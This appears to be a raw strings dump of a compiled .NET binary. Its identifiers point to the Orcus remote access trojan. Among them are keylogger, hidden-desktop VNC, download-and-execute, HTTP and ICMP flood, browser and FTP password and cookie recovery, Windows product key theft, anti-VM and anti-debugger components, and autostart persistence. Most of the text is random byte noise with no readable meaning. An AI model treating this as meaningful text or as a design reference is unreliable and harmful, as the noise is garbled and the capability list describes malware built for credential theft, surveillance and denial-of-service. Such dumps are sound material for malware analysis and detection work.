68i
jycX
P7)|(
X.2LNy
F[Ul
4sC*
Vs#R
foSO
)TVBe)x
NAkDb
qq-Z
ILC_MASK
IJyyfm-
]$>f
x()Pp
C_,T
|zY
|2bI
EventArgs
'e#b
"a|Z
Z's4
PropertyDataCollection
z@/
_
5%
;,$h
WS_CLIPSIBLINGS
ix[Z9
Z%Pz$
0PX
"("w"#)#9$a$|$
FontStyle
y4P(
yzH0
set_Mode
}n"w
IUDm|
_graphicDevice
)&;I,
lpDesktop
LFWXv
ZUmi
T`~"
BiosInformation
GcqR
{b,e
:~
2n
|@fZ
1Ys
costura.orcus.shared.dll.zip
FJ~
STARTF_USESTDHANDLES
DoNotRedraw
..
V
UMGD
WriteAllBytes
zS}/`
6pm"
Orcus.Service
kIG
RHtI!$
!i_by
LU
`M;jCC
<GetBiosInformation>b__5
$LH=
<GetBiosInformation>b__6
<GetBiosInformation>b__1
}Gt-
DescbcDecryptor
bua,.
htd@
Qnkz
p~$E
}\JG
PSize
set_Message
TcpAnalyzerDetector
Fp9
SW"fJ
9<'K
WinSCP
7GHm
bj8t
$QP
D3S&
MassDownloadServer
+}h{
wUO^
;=
Uplj
DownloadAndExecuteFromUrlCommand
X]X
LastUpdated
SizeF
%BZ@
<GetAudioDevice>b__0
SetForegroundWindow
Nu
N
azhF+O
7WkN
y>2]
#c:JH
_unloaded
prj"
%	o
SHGFI_ATTRIBUTES
Orcus.Config
>P7R
Z!+ w
(	T)P8
@zJtL
vYc7[
/qV7
O5n`
[08B
[,"a
H8\k
DeflateStream
_t#Q
@w']
add_Idle
|!fc
[77n
Gh;
5S{q
GOoM
En|2
<$l$
Av_q
ServiceController
=<'H7
;Mc|
SMTO_ABORTIFHUNG
4Rb^
*~f
*~g
-9]w
#E`/
U/Op
*~h
DoMouseRightClick
arenaOpt
>q0:
Ad?Q9
Wu=L0
FV	(%
srr0o
r5{m
vCode
RR,&
)rn`
G>=L
l.ww
\)kO:-
Sz)*7
DefaultMemberAttribute
tjSy
;kC]u8
3k)
Centered
:$C!
<ProcessCommand>b__2_2
_1C%
get_StartInfo
rw;7m
\;	Wj
|vJ3xq
9~_p4
Fyw$
K?/
DS~ZX
~!%]
ir$SI
y=~7
6^
lO
{69J
NEXTDLGCTL
closingSessionId
WasapiOut
$(7-:L#C6
7~$K
OW~bel
|O#f
c	m5
/pg
-
H
*V(H
>::6
1|E
get_PrimaryScreen
{'}Y
_mozglueDllPtr
t
7*
T^B3
ArgumentOutOfRangeException
c?{
WxEo
S_$n
W:f
a	M1
CYv
DISP_CHANGE_SUCCESSFUL
Jwsp
^)7
'61f=qh
&Pq7
Q8_7
LgR+
SC_VSCROLL
EventHandler
rI;4
OrderByDescending
<@Se
uFJuv
STATURL_QUERYFLAG_NOTITLE
l5'D
StaticCommand
~jx=
Cookies
SetValue
HTTOPLEFT
3&?g
|w|SG
+,j]Vf
jS*>E
set_MaxReceivedMessageSize
U-]p
[.<0
JlsIdP
IM(E
[lZ.6]
(}A/
[8
^'
B/Fy
Y/G
}ct^
dmDriverVersion
+rp'E
^g4Q]
get_Age
YjQh|
B.}m5
e4-S)
WH_FOREGROUNDIDLE
~4U$
<>3__audioEndpointType
@$IK
w_YB+
2.uI/?
ib7yGK/
}sM/k
get_ResponseHeaders
)bK*.-$
SByte
LxC5
=,Oq;]
{03c
Xi5?
5&"b
:bh`<
V&D<
D=(x~
MmEW
"'^J<^
w:x"
SystemTime
gKa5e
Play
rV.A
*6(
_fieldNames
SJd}
offset
+/,Ze
System.Text.RegularExpressions
5B^P
,#A_\fP
U1q
u^nHL	f
@$I
>KZ~
;YO2;
MnRk1
+)`i
Ph
m
<GetBiosInformation>b__5_7
get_Type
kh78
set_Icon
%re
System.ComponentModel
>"&PZk1
LocalMachine
h7W_
~r=
\
PmS3
rw1O
Q/U8
%"!T
xG!k
H,Z6m
By7R
8K@sT
j-lq
7[x
CopyIcon
*{)'
&{ZXI
j]F/T
]EA7
z9Ww
5
[
m
j/Z!
WindowHelper
o4y]N}.[
8 y<
Bp&#Z'
Mc8}
`+{{
@Bp&`
&J
MM+v
wL'M
IcmpFloodCommand
%{C{&
1nQE
Cb6W
KQY~+zR
MD~9
M$SC#w
:DK%
M[m,p
&+4s
Z-WCe
'C;
DoMouseLeftClick
wincx
SC_SIZE
Srjh
qoxo
ServiceConnection
r[$}
bWxLp
nRG?
y~$O
Pu-y
OnClosing
add_Closing
1>Y)
j}'l
2l8c
/+@gx!
!
D
#DoV
Gl]
AssemblyNameFlags
prOQ
a]=!
rZ,
4rf'
*/]0
,c-x-
J~Jn
Pxm`
tD;~e
set_Entries
nHeight
IndexOutOfRangeException
iUq>
#fk5uEZ;
9g	S
SC_CONTEXTHELP
<|kwT
PostMessage
@7Zs{
1s)fyy
nAOJ
=
[/
NameValueCollection
PStL
ta6w
5\Qn
|Hu"
set_ClrVersion
MessageReceived
GetMethod
1`Gp
set_EntryName
GetCultureDependentString
COK=
-[)&
set_Password
disposing
+uMr]5{k
z@/
FileExplorerCommunication
set_EventId
G6?R}
set_ReconnectDelay
FW-U
PEA|
YV#V
IPInterfaceProperties
<u]{n/
J3)Y
f@4{
ToShortTimeString
NI_&H
S6A-b
6rdf
INPUTLANGCHANGE
uNij
xWxxc!<
c(q7
_53c
GetWindowsProductKey
MC3;:4
get_DarkGreen
9T!"1%;
18x+q
?~VR_
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.AudioVolumeControl.AudioDevice>.get_Current
PO2
Orcus.Commands.Internet
BNXmHmz
OrcusApplicationContext
-pG
xDY	O
=<ni
fz7
s4oz
t7.f
5ixqT3T-^
-x	Z
f|q8
lu@l
~9&[
TI@
ullTotalPhys
ft;F
Color
$5GTI
H.SPQ
!)>
LB/r
RuntimeHelpers
,Ms
qJO!
R3RT
TP*5T
ROG_f
eRxL
t17$
>IKC
Host
'lD\
GetLogicalDrives
N N=
O8Jo
.\X>!,+
.
am2s
TCP_TABLE_BASIC_ALL
IME_COMPOSITIONFULL
Ihdw
SendMessageW
SiM;
IsEnabled
TripleDesHelper
C3IwN
.?OJ%
get_Height
Nvc4
VvIiy!
get_Connection
N9_n
t:G(>
get_AdministrationConnections
(
4B
8T?D
PrimitiveProtocol
n1LV
,ur:
~(hBA7+
3daz
{w0i
q7X5_G
2M	>
(A,`
@Tk3
.Z6-?s
9b4}
[C
I
NzG]
+E}d]
,\<f
GzN6RK
SHGFI_USEFILEATTRIBUTES
KPNk'}
pp,xU
S7L
]rN<^
Bzx)Y
get_Controls
tJuo
kgfw
n>P1j
Version
add_KeyDown
<	y
r
get_UdpSockets
KTs[
CommandSelector
E.^.
RylX
NCACTIVATE
:n
y
3MZzy
CvWq
,JoZ]
NB4J
J~34iS|
@Nq{
L9!h4
pbKeyState
InformationCollector
U{67z
vT&=
<ProcessCommand>b__0_1
?P]p
GetExtendedTcpTable
tNLE/p
>R??-B
3Bj!
,w2
Wre$
!tr#
{4_w
r'
fE
ElolxF
vb
;
r+
$Mvw
WindowsFolder
ProcessorTypeToString
OperatingSystemInformation
!qNb
$hq|
v='8
:!Ci"t
)yDW
MWKC
?r=&oV
EM'=
7V~j
GV?{
Rotate
M[./
8(]C~
gC_R
M; 9
z=/"
]	5o
2{RGi"
ByoX
get_ProcessorCount
j*8f
ILD_TRANSPARENT
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.AudioVolumeControl.AudioDevice>.Current
ManagementDateTimeConverter
9+^E1
=g=q=
|:zAts
~r(|~)
ll!M
ASKCBFORMATNAME
<WinSCPDecrypt>b__2_0
U]]2
<RegistryValueTypes>k__BackingField
}s-/u
<LocalEndpoint>k__BackingField
g$##
@vJVV
SYSCOLORCHANGE
/D0K051k1w1&232<2
96y4"
get_DnsSuffix
get_CommandCollection
ktcP
_bFV
lEgL
$sB)?J
U	e7
kbstate
X)|u
"|Z.}
BMToN3
r+X8
j"$Bg
4Nl~
set_LogicalProcessors
EndInvoke
wCreatorVersion
get_Groups
PV6>}zL
IEnumerator
2u+H
?Oxq
pB4`Op
YK k&
EIk,
/G_H#D
P
UC
x.4+,u
|Y.ro]
ICookieRecovery
]#e>v
9^I
iT9U
x:7W
%@y
t''HO
3"
L:
7P7d
N3pOf
rSr)
|' S
lpszDesktop
#wR2wX
Va)P
*V+[
JxP
LVQ{
pnoP
YHgb
a}_:
output
?`])
t4T\
get_Host
1'bF
set_MinimizeBox
\sbf6e
j]ag
Qb-R
bf	a
_currentFileDownloader
nhmf
=iQ
UxNS
<Main>b__12_0
Chrome
CxE
\-o,o
gD[
V}^\U
og8fM
Hg
C
nWk4
ImageFormat
1p?]
DM_DISPLAYORIENTATION
DHg=L5M
i%U
8xD9
_requestClass
AddRange
1&KR0,
RdxlVm
SXS.2_
D
,;
!@6	W
UninstallProgramEntryLocation
System.Collections.IEnumerator.Current
UMEO
uoG{
ICollection`1
set_Firewalls
.b4c(
[d
u/<K#
O6m"=
zQJ~
KeysToSpecialKey
cU#
Ajw'nX^|
=4vz
_N%X
%/dx0
-5N;
DEADCHAR
RotateDegrees
i%Uy
GTd#
.jz*:
ToDateTime
n,ILe
gQfB
dwNumEntries
;bws
get_Bounds
~
AD?
Pipe
searchTerm
G2q/
{776 }[
+eK]
GetExtension
QP\r
K	?l
c`wh>
bLj/%kx
_desktop
7\aA<b
op
LoadPlugins
ot
k>c20
mzhzt
CE+8
TextWriter
Authenticate
2Kv(=
ayHuh
kij[[
^'xF
fGS~W
WK&
)K
iFQn
ConvertHexStringToByteArray
prh
Z	D2-)
ToByte
Ln|l1,
X_o
cvA
M8?UkR
M
H
8n1Fg
S(@w>
=M>h>
Ac>j
<IsSearching>k__BackingField
CreatePackage
?=/0
l8(*
!`?
oF
lacU%>,
x>AN
<h><l>
QG9]
);$Kv
%-
]
n p#
F[
VoiceAge
A^\4
GetLanIp
wr{m
70p|
NCMOUSELEAVE
"K@S@
uLr*
set_Objects
jiUi
#Blob
S$'
O.V
<u?V
set_Administration
ppenum
CommunicationObject
@{xTc
z
^f`)(,
'FVX
%H_
`<Cu
r/
WS_VSCROLL
467w
Gb>	3
~7,N%+
SePH
&;cn
Ei
%W}c
Insert
Decrypt
\FwP
l{CS
M^$x
Q	:{
BindingFlags
.W^JtF
b&9v
L7qF
5IMU3
1d$
)=	7
~P=(
$-	Q
Mm
C }yl
`m6SoB
ChannelFactory`1
content
!/C
qb3P
reader
i+tq
Autostarter
GetName
SmoothingMode
z*qm~)
.y%s
Join
STARTUPINFO
<GetUdpConnections>b__4_0
5mG@
RsaKeyManager
'L83
uAFA]
Cursor
X)_!
Y}7(
!:o|
System.Drawing.Drawing2D
p|pt$
VYGtUy
IH+@Lv
9tD:
remove_FileTransferAccepted
Orcus.Plugins
q&/#~
s=^.
set_KeepAlive
Item
hOm8C]s
=Ch1
get_VCode
Orcus.Protection
IPasswordRecovery
x0|k
|J(@
DDI
urlHash
ProcessModule
AppDomain
ENCRYPTIONKEY
y">
,Zr<
r,FW
EmCm
&}%Z]z[y
Y=OYU
t,}%/
lr]rSr
set_AutoFlush
?VRm
KILLFOCUS
66kB
s\K\
MA&YD
&SrnJ
$u:M
Fat?>+
+$(
y	+y
Hh*4
C]
+$(0
,WV+
4^!U
get_Y
DeleteDC
[.e$
u90`]
@sm3
/>B{
XoB
v"
A@[]e}@
(_Eb
memcmp
m_3M
Taskbar
V{;
PushData
WS
a
uuYQW
Hj@1c
cyhi&
*eO]
TCP_TABLE_OWNER_MODULE_ALL
_hookHandleTitleChange
Y /qG6Dj
get_ResourceType
hyBK
.6Vm
(9Wh
p*r%G
FactoryCommandPlugins
^qD$77
^A1)
Pc$b
-.k[\
.tMn
dmCollate
p*r%H
QL[W
?I\Qyz
set_FrameworkVersion
}ueI
e6OU
ce0_
(F:\
p996
66v0
n>4.
pwszKLID
xx90
=^B_
get_PackageSize
OpenWritableSubKeySafe
C	{@
^Gco
0?dD
2!#
)1V"
PT]1#
7`n_f1
WH_JOURNALRECORD
:c1B
'`@9tx
8 .\
`hWsy&
EVJJ
.s~5
DialogResult
N==}
Et=4
INITDIALOG
rowNum
5nBrkb
0PYx&a
^"T@
z*mf
SPe~
<.'FV
`ixJ{
get_ServiceName
set_Proxy
Clone
Ma_H
&
5~
:c1h
wrC&
bBQ{
I@
k/O>
~L#xN
GetDirectoryName
}T
ToList
W.Eh+
<GetHardwareInformation>b__11
set_L3Cache
INSTALL
A<G
zh*e
1N;wI=
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>PAPADD
WH_HARDWARE
H3@H
F_=Z
Qw7Q
[gYLa
_I/)
>'r>
30yW^[
q7</
INPUT_DEVICE_CHANGE
)2zG
CSCore.CoreAudioAPI
qZu)
De]^
SetMemoryInformation
)|DJ
^F2@Rr`
KnownTypeAttribute
d=~FP
c0gy
0$aH
WRrEsC
,#<Jd~
=`B#X
spf(v.+
72bc
{X>F5
?Nf`C(K;
t>X8D
LiPM
|EVep
z-"I
)z<w
<>9__3_0
V:y'
r1
AudioVolumeControlCommand
connectionId
^+`Y
ShowBalloonTip
Kt
Spj?	;
J!|'
+$KH*d
_streamWriter
mi3
p*rmH
Orcus.MainForm.resources
\mX%m
oVTL
b!1K3*3577
Free
Orcus.Commands.Passwords.Applications.Opera
G#Vr;1+_
b\P>B^
Y^ZD1
$Hs.
1r,S
bX}a&
$KFNY
UH2U
Y&f
.F7sv3
b=e+
akNT
DESKTOP_JOURNALPLAYBACK
'ImY
g}5}
$~U7
Y
P^
C=w>/p
GB(g
j'r6w
hpmJ
(
=
fields
vbr5
ib:t
xt'r
='QV
`l$7
oy
d>PA
STARTF_USESHOWWINDOW
gnS8
MakeTransparent
set_IconData
get_PluginsDirectory
IPAddress
#/^`
IconData
atomWindowType
!M#2M#"M
~"]<
set_MacAddress
I"Vy
j0s5t
*>6
s`V<
9W:;+_(/i
>v.I
>i|z9a
PR^7
S		z
JE	:M
WCF_PAINTMETHOD_SKIP_HOOK
e:Ky
0:#H
_tempDownloadFile
<Hold>b__0
MouseAction
@cE-LL
}!#V
8lWoM
rFBO:
TaskDefinition
<Dispose>b__3_0
/b@T
CRYPT_VERIFYCONTEXT
5:9:
}P'IF
:xT*
.Xe>
DirectSoundDevice
costura.orcus.shared.utilities.dll.zip
iO^HrE
get_VideoCapabilities
punkISFolder
dW*x]
_nss3DllPtr
X509Certificate
OpenBaseKey
0
:VMg
fullname
ws\A
Orcus.Commands.LiveKeylogger
JLv
@/r_
ElapsedEventHandler
!_Y)
Sp2R
redirectPackage
j-PDI
b1z8C
E
?
DhC<
SendUdp
W:4z
<AutoResetEvent>k__BackingField
x\nV
Fg<'j
aXbz
AccessMasks
Pc4Fh
height
_hvncDesktop
j/B[
*Xf*
BNv17
get_AsyncWaitHandle
=hr"^
6Y|4
_r
^C
r8s5
Ilr`
{2F[
ea
@
{2`9
>R<!
xS #K
Orcus.Shared.Commands.FileExplorer
Marshal
G@{
SendMessageTimeoutFlags
idObject
lXpa]
~x(J
C60f
ry4
TakeLast
&{
;8>f
:d~4
7#e5'
U,3dq8
H=Wx
lpT,|Gg
/C^a
~`<J5
nNjLp
H,W9
_executionLockObject
exception
/
fc{9
Process
<>3__key
binaryWriter
pCn
b$#?
w8Np
VirtualMachineDetector
2Qe>
vbSC
{*=
set_IV
Bf@~
&^o
eGq2
2Pw~$
se`+
Z,m
g2V1
K6ZA
enumerator
F[I(
QE
2t
<entry>5__2
uNJ1
OrderBy
w2}RG\
get_CompanyName
6inim
\P#.
}RIsl
{oVW.
gX7z
P''?
RrbQ$
syi.
$_V[
UInt16
1tQ
^Cb#Gr"
UwXC7
!l|
1z/y
SETTEXT
y:iA
WC02ls
28qce8
j}O.3[
hhT"
set_Device
lefY
IsHandled
VaO"
GetRegistrySubKeys
APKc
udpSockets
{W
JzTH
H?G
System.IO
Za2
WrapNonExceptionThrows
#+:@
![u`
computerSystemManagmentObject
T"'A
cZ9gg
_Np'
Df6%
lpKeyState
V;_"B
^0"=@
j/	?
GxO]
Su_&E
l>+H
ddKGS"K
>ZI
$j4wR
;j3{
;7S3Qj
GetLastInputInfo
set_IsServiceRunning
4?}Y
$#?L
+;%~T{
EnumThreadProc
b-<{
BWqhe
e}bQi
@H3w
RuntimeFieldHandle
@s7|
c%NM
7~`/
D3	;
set_AntiDebugger
ResizeImage
Ro]9
L{{v
Xx~x"fpS
%a/j)
Orcus.Shared.Commands.Password
@JSf
44Qy
ScreenHelper
fqmb
QqsOy
eOnL
#mHZ
7|fa
Kl DO
_-~
@[M&
ILoadable
U)=g
SwqJ
"FI^
get_Session
get_StartTime
(+
|
aO$%l
z}V.
!d
<Data>k__BackingField
WindowInformation
FJrY
,-7X
YAn.
[j

y$89
N,Md(
localEndpoint
ONhO
]9C3
be/|
<(to
22zJ
8RtMN
<{6x
?]E3
M,!V
";KC
GZipStream
>/G;
ComObject
N;;
Orcus.Properties.Resources.resources
f<\D
@c`<
(GW^
a8j;iGLv
C
X]
,[r
;59;R
e`+K
SHGFI_EXETYPE
user32
y
@s
Sc}
f\;/
DoMouseMove
CANCELMODE
ReadFromEmbeddedResources
J+MO
0HI
X%c
&	
>
*zs
nQyCr
Tq)}
x>G[
B7%t
42.glN
<ImageLock>k__BackingField
set_RegistryAutostartKeyName
wi-
ij,V;
costura.aforge.video.directshow.dll.zip
I*Nq
F
w
l0}A
,Q;dZ
csvFile
E/@
{,qY
dmSize
B'_B
#`Cy
)t%j
Qnmm%
_ip8
!M[
WrapMode
TextBoxBase
Y9=TW:
Rir
get_Address
TOCB
set_AdminPasswordStatus
<>9__0_0
_aXRH
down
rTI*
+`+
m
?"b
ktDQ
"/MADDds
{o^
SETCURSOR
A	PO
,+7I
*T4uaidQ
!4y,
FUe#u
@#M~
~d.!u
HRG`
cuoE
_@"Ud>
x]
set_VideoCardInfo
ACA~
*k@@G
O%rD%G
QBi.)-v*)
set_BytesSend
GETFONT
*WmUK~>
nj
!_
\\W!
/,A+
',aFo^j"
<E6
/
get_ServicePipe
|w>/
<#n\
6J{##
kkm
47s
ElapsedEventArgs
!nr/T
<ClientPlugins>k__BackingField
System.Diagnostics
0 HX
&oQ?
tXIa
OssOr
}N34c
M/O/
y/#&
rNF:lN
RaiseOne
i7W.
FM,h
InternetExplorer
SelectObject
xW	x
c+.-
Fy{T
&}U/
*8JI
~*
4
hWnd
LZA?
"W>/a^|*,
k`$S
|<?Sy
RichTextBox
8`
e$[m_W
]0Sc
u [v#]
'[@nL
IpAddress
U<FI
{(]"
bI4(}
B<vX
z2uN
;c
2
set_Threads
FunActionsCommand
t6573
$r)uBu-7
GetOperatingSystemInformation
ADDURL_ADDTOCACHE
&If<
8F)
A6{F
Orcus.Properties
:&%:
System.ServiceModel.Channels
-R^k
sm
VistaStartMenuCaption
op_Implicit
3;q5RN
)rW
)L:q'1X
CompilerResults
Q3 =
QAz[
O\Dg?
%r./
Timer
bb86)b
p/DT
set_Location
Bb
^
~;|R
:(

Y
j]|Blz
3BZa+
dka%
jW8tB
UGF|
yajxZ
yK']i
~]ie
Vb%=
get_KeyLoggerService
`@`v{1
c+f,6
Microsoft.Win32.SafeHandles
'\qO
!S!CvrY
t`! Xh1
Jnt/Dg
=!ep
pF/
APPCOMMAND
+8[Z
get_UTF8
rYrT
5KT*
get_Width
RWy~Q
ERASEBKGND
EX)\
set_Rate
get_Month
KeyLog
HAP+N
!G)m
e5V+
CreateConnection
C1Y<
GetSystemDefaultLCID
PX.yXS
/#{
aqAb
M?z
is_"
7`82;<@<V<
u{m?
DN5f
=jJ_B{f9S^g
hWinEventHook
h\fi$
MIB_UDPROW_OWNER_PID
[=3l
rf,
q!vk
CancelEventHandler
<SendLock>k__BackingField
CopyTo
vzd:%vS-
={8^
GetGraphicDevice
0Qen
GetValue`1
Where
\T;rQ
qEU!
mQQ-
i0FJ
f}lc
set_AntiTcpAnalyzer
CLWk
0Qe^
fwbh
-|("
get_RegistryValueTypes
W`2|
93
IEnumerator`1
UnhandledExceptionEventArgs
NDS5
CryptGetHashParam
(=xa
_webcamSettings
Su
|
%bwp
qS!o
4XGoC
JT:d
OWQ-b>
stM
vLwgg
t7IO
CLIPBOARDUPDATE
CHILDACTIVATE
StartHttpFlood
WS_SIZEFRAME
r38
8]&u
Orcus.Shared.Commands.ReverseProxy
^9M;
<
o&{
filler
3U=Tr
47nXQ
^%_LW
AuthenticateAsClient
lpbKeyState
NivI
p![ 3f
set_SystemInformation
_synSockets
Fs
;
$Xb:s
V/Dz
a5Cn8
<>c__DisplayClass43_0
U=aN
MPIp9
:Cg
LASTINPUTINFO
b,ct
uL$[
p*ro=
PATPAINT
t/:u
ullAvailPhys
/:63g;
X98R
<ConnectionId>k__BackingField
+>??7
Rstch
&No
R)5a
WinEventProc
?*Nt
FiV1r
itxBk6
h&NL0
9	~j
d?8V
UI=1
tGc8
/p?1
AHO
r3N
T4^g
System.Collections.ObjectModel
<
A0
A
>T}/
ReadTableFromOffset
get_Capacity
>$+a
"*PWcOZ
<>9__7_0
SetProcessorInformation
}(wm
dgZm
4@@j
ytCeo
:aIdQE
Bytes
{*NC
WLpX
7pO
_translatedNames
|tA!
p	oO
t130
bS$\
.4"g
]7
n
set_LocalPort
{ugu
-(-
/>cY
KGYbY
%/{r|
3
IkC
3
uf
SendLogEventArgs
get_Day
\8C.
F^X_$
newCommandType
<s
]
Ow93P6
iV4
3QUPGk
cbSizeFileInfo
set_AntiVMs
ProgMan
ftLastVisited
NFSQ(!$^
L;!,
DeleteSubKey
KJxa>
<PushRequests>b__1
\|.7:9
Degrees0
=KG
zQ5;
kbh@[
*E\{X%
set_StandardOutputEncoding
D1\k
wd?_
HP_ALGID
record_header_field
Wv*i
v
-ZLz
-te.t
Qrs%g
2&6A1A
t8	*
V)0>|u
w+YH\4h
+M%B
mD?.
5wUO
set_RenderedWindow
3{gz{9
z;.rU
u."|meh~-{
xAXt
TMBiT
!<Z3
b
5A-8v
~UIy
%eJdoZ
/]'-
+iN;(
KEYDOWN
<TcpClient>k__BackingField
GuidAttribute
0X
R!
;9h|uNX
~x6
3!h1
+C+u
SetVisibility
PushExceptions
5nvY\
#;UQ
_current
t$J]
GetWindowThreadProcessId
IGl9
W0z(
rQi$q
dwCreationFlags
=.jV9.F9
VideoCaptureDevice
N4?
`6u,S
NetworkInterface
;Tu@>
4%I0
;C{M
get_Port
/t
/Py4
ENUM_CURRENT_SETTINGS
kXzy!
8x+\>
p
T:e>
Trim
DataProtectionScope
sq>
r$[zv
zjgb
po+m
I.Drvw
Qr;U
WS_OVERLAPPED
I=u
o$-4
q,
t3d
b
>*x)
*A|
SetKeyboardLayout
8hX
|l7
__StaticArrayInitTypeSize=48
p*rWH
t:U'
set_UserName
GetField
DvG|h]
FileTimeToSystemTime
add_StringUp
SYSTEMTIME
9];C
j5/a
S}:
5\5^
<ReplaceCarriageReturnsAndLineFeedsFromFieldValues>k__BackingField
nC\	'G
[R|@
".j3
-iZ.9
iUM8
qr'
;mu
XBqy
9a?/
S5$6
K9x'
_T/?
set_AllWindows
UInt32
9um
StartsWith
K#;4
cH^X
get_DarkRed
set_DeviceId
DesktopName
fileName
set_Is64BitSystem
?Yc8
Right
EIv{
R;v
19'W
hP0E
_fileStream
oR.C
3)+#Yk
aOR=c=
&6,F
Fma6
keybd_event
QhP-
*|Os
pTcpTable
gzrU3
$]#W#
<>9__3_1
SUL69*
:U<%9
a^
v~J
Yh<R>
|
)ub
e=+0
DeleteHistoryEntry
dmMediaType
#Ajw
s
q(
VSCROLL
]b2(X
ServiceBase
@9YA
>v
k
Split
CTLCOLORDLG
RegOpenKeyEx
]:6u
g\6@
Uqe)
M|Sp{
l~m#
qH@X
N09MN
ICryptoTransform
TaskService
Ygy
SHGFI_PIDL
Btj
$WH
Y
ApplicationName
0MiR|
mR0*
x4DgD
rjo}}j
VS$H
6TMX0
AssemblyTitleAttribute
+xNP,;
Orcus.Shared.Commands.LivePerformance
&nP_
aZvnQ1
49v
hDesktop
ZLJ1%
=u-%
AssemblyLoader
l^j
f&H<
HTHSCROLL
set_NewCreationDate
GetKeyboardLayout
uGn_
P=oe
26 (
__result
/[r{
<>9__4_6
<>9__4_7
</L!
,s+.f
TW]a	p
Uk
b
<>9__4_0
|.S$
dUg\T
T!0jB
C4\9
8pKM4
f\T
]%>I
add_Load
yBzF
?jg	c
Qb3_">
ID3<a
GetRegistryValues
AddSeconds
`HBtE
{4JE
DecryptCoreFtpPassword
ps##g
>_
}
.w@9WX
set_IsCancellationRequested
^T6CY
set_IsSearching
HELP
PerformanceCounterCategory
UninstallCommand
~9g1o
eF0c
!=MsO
g"	i
_033
hK9H
MA_ACTIVATE
|=
X
p.]yP
<^_R
{^A9
Y{E
'{_c
p5kNz
Post
`;L<kb~
GetIsWow64ProcessDelegate
iv1D
QfeI
d|M;
QY{N
y?=
q?j
*tP#
Dd ;0
]qzL
^Z$y
@h
O
B>&;
(KNW
Orcus.Commands.HVNC
LinkedList`1
{&gGm|^
rC
yw/O
get_OEMCodePage
OA?2bW
e$qd
PATCOPY
iO|C
`IH4
rau>E
1=U8A
~eRBy4
quU
'>'$
*b*	"
BZk
I
JpJ
server
IX7
2{MO
KKO6
()Tr
_+T
5rFDC
KEYUP
u,v-TEZ7
ChatSettings
Nhl
NCXBUTTONUP
F::ttt
UtaYm!
HZKl<
(v	4
v{eT
67YIh
xoc;
ProcessCommand
cN=O0
e<E4f
G $&}I
_buffer
n
J7
STATURL_QUERYFLAG_ISCACHED
_%n
inoRUg
ou_S
74;dI
BsKL
dwIdHeader
EjLX
samDesired
DrawImage
9wJyi
KC&B
lq>/
*w|x
a3&M
MessageBox
GetId
[X;Jk
nFlags
b$#y
Gof?
.j/
0
)z%/
COPY
YXs~{
"yq
A
~'Pew
Finalize
_Z(JZ
Connection_Disconnected
StandardKey
cM} QO
PixelFormat
~IJz
~X9#
<t.5
?;"~
XQ
}$#
b,MP
D~Bl1
^w;I3
Kn%GT
0X
Rg
VTPV
wTb}_
Width
0k*%
kcCs
StaticCommandResult
WS_TABSTOP
@96
data
~-Pe
get_Hour
$&:=V
W| ~
Wdd8
@7M!O
Pz8
4c4Xa
GetProcessesByName
0
Go
7,@f
yloi).=
4VL)eg
SpecialFolder
<!+A
get_Chars
j! O
rX7:u.
`p$8
CryptoStreamMode
q/3Z
Z6%15'
R$SyA
}>:
G&zE
B0H3
Cw1o
h$sa
DescbcDecryptorByte
PZ"B
0*S`
KYSE
'A1Y
{;$%
&m)F
9<F"
`EJ_{/!k
g%/:
vs,{OGn
AdministrationConnection
dmPosition
O7#n
nSY^
.Tkc
source
t~t
pDevmode
WH_KEYBOARD_LL
]J4W
k\1M
k4mtVa*
z9{)|
AV
x`=)
FromBase64String
|p_:
[T+J=
get_MessageBoxButtons
+X)o
<HvncActions>k__BackingField
d<Nq
7 sB7
ZCY)
iq+O
SP_(\
set_TaskSchedulerTaskName
kqAm
q!zR
J]rh
EMD
D&S#
{M-m
sql_statement
`hO%
eO+
T7IQ
Orcus.Shared.Commands.Code
set_TotalSize
UDP_TABLE_CLASS
PARENTNOTIFY
j|KM
77,wxXn ,
logins
ja\Zk
W
r
get_Package
MapVirtualKey
lfi
bwm!l
\:g>
&u:
[
GroupCollection
CodeCommand
POWERBROADCAST
XlJBex
EnvironmentExtensions
r`!
<RegistryValue>k__BackingField
I8D!:
W
 [T/
CHANGEUISTATE
Cr:-B
slK-
CDrB
,
()
adA\pf
,
(*
W0'oN
Uninstall
FM}2R
tXA:p
$Ie?
;|cu6v
>jy4
8IwW
{{zB}
y@m
pbData
c4MpG
-r)(hGh]k
t@%l
RecoveredCookie
&$tfv
5QDN
IServicePipe
Fu9
E5L'
|=5
;&Zu4
2HT@p
>G?-V
ReleaseHdc
RotateScreen
Directory
WebcamCommunication
r=8
8mfC5
Decompress
k8KqK
z%Ma
DZJ"
Wc[3>
3R9(
EI-I
=)T*c
shelldllDefViewParent
uCode
_b$D)
8!
5
SB9)
,lgo
lH,$
GraphicsUnit
_KAw
=x+<x+
Subtract
0mz
M5|e
ScreenFactory
IKrEGE
t~}%^
`)Hq
System.Drawing.Size
]`\#
js<}
%- &
d%$K!E	)R
><~N
\-mA
Action
+{(O
JoUL
SuspendLayout
System.Web.Extensions
qF
L
%1Q:
Wr_"p<'
p=7p
_$MS
NLhv
r~Sx]O
Dictionary`2
TSy;^
o|rWZ0P
@ &d
/3'2
)r7,TZ;_
GetWindowClassFlags
qxO.
fBlockIt
Y\k)k
pluginSettings
#gV
Z4~6
(I6e
ga?ol3s
7^dj
?V|0
set_AutoScaleMode
y(5f
CryptHashData
6=c
ofCY
nj=q
(p\k
_cmdProcess
UnmanagedFunctionPointerAttribute
h0_;
kt(OP
get_DriveType
get_SendBufferSize
2Q:f
C/r4
arguments
[3>z
childAfterHwnd
%(P
WinSCPDecrypt
dmPanningWidth
kiind*
NpiQk
4p?r
dwEventThread
/`=
S~t
5
uKm9
zu9,
v@^}
Expi
{*p3
MEASUREITEM
HTBORDER
<BinaryWriter>k__BackingField
. M@Kzt
Z`)3
}&$`
_unsafeStreamCodec
':oy
Fug#
(wb<j
Y\;W
(0x
Sa`%9b
ua#?
hWndInsertAfter
$&X`
1	 y
E'_N
ipAddress
kmE:
)3eM
oZ#
SwbK3($
dmDriverExtra
J%nO7
0J=5G
Icon
}pY7
zs~s
{{w=
t'4
